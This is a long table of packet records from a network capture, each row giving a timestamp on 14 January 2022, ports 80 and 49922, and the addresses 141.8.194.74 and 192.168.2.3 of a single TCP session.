Jan 14, 2022 01:52:07.849237919 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849260092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849260092 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849281073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849303007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849313974 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849323988 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849345922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849348068 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849366903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849386930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849396944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849407911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849430084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849440098 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849450111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849472046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849474907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849493027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849514008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849524975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849535942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849556923 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849561930 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849577904 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849597931 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849606991 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849617958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849637985 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849657059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.849661112 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.849699020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.900835037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.900870085 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.900892019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.900913000 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.900934935 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.900957108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.900971889 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.900979042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901006937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901009083 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901027918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901031971 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901053905 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901074886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901089907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901113033 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901150942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901173115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901199102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901221037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901226044 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901243925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901267052 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901268959 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901289940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901310921 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901324034 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901334047 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901356936 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901422024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901446104 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901468992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901489973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901499987 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901547909 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901556969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901581049 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901602030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901629925 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901664019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901665926 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901685953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901705980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901726007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901737928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901747942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901767969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901777983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901791096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901814938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901823044 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901834011 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901837111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901876926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901897907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901897907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901921988 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901921988 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901942968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901963949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.901983023 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.901984930 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902004957 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902024984 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902044058 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902045965 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902065992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902069092 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902086973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902096033 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902107954 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902128935 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902137041 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902151108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902173042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902179956 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902193069 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902213097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902220011 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902232885 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902254105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902261019 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902273893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902295113 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902316093 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902317047 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902335882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902348042 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902357101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902376890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902380943 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902398109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902417898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902421951 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902439117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902458906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902468920 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902479887 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902499914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902509928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902519941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902540922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902546883 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902559996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902582884 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902586937 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902602911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902623892 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902628899 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902646065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902666092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902669907 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902688026 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902709007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902713060 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902728081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902746916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902766943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902770996 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902787924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902808905 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902813911 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902828932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902832985 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.902848959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.902878046 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.903052092 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924539089 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924576044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924612999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924633980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924654961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924674034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924686909 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924695015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924717903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924737930 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924741030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924762011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924767017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924784899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924796104 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924806118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924828053 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924838066 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924850941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924871922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924879074 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924892902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924916029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924936056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924951077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.924957037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924978971 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.924998999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925009966 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925019979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925021887 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925040960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925050974 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925062895 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925084114 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925102949 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925105095 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925124884 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925147057 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925153017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925164938 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925168037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925189018 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925208092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925228119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925228119 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925249100 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925270081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925281048 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925292015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925292969 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925312996 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925333023 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925342083 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925352097 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925374031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925379992 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925395012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925415993 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925426006 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.925436020 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.925468922 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.977708101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977745056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977782965 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977804899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977828979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977874994 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977897882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977921963 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977926970 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.977946997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.977968931 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.977974892 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978013039 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978030920 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978039980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978063107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978087902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978091955 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978112936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978137970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978142023 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978162050 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978187084 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978213072 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978214025 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978236914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978257895 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978261948 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978298903 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978354931 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978382111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978404999 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978408098 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978470087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978475094 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978498936 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978523970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978549004 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978576899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978602886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978627920 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978631020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978652954 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978677034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978679895 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978705883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978729963 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978733063 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978754044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978775978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978797913 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978801012 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978825092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978847027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978869915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978873014 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978890896 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978894949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978919029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978919983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.978960037 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978986979 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.978990078 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979012966 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979048967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979073048 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979074001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979111910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979135990 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979136944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979159117 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979182005 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979182959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979219913 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979228020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979238987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979260921 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979279995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979295015 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979301929 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979322910 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979342937 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979346037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979363918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979382038 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979384899 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979406118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979414940 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979428053 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979429007 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979449034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979470015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979474068 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979491949 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979511976 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979516983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979533911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979553938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979576111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979574919 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979598045 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979605913 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979618073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979638100 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979645967 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979659081 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979679108 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979701042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979707003 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979721069 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979742050 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979747057 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979764938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979773045 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979787111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979809046 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979815006 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.979829073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.979850054 CET	80	49922	141.8.194.74	192.168.2.3
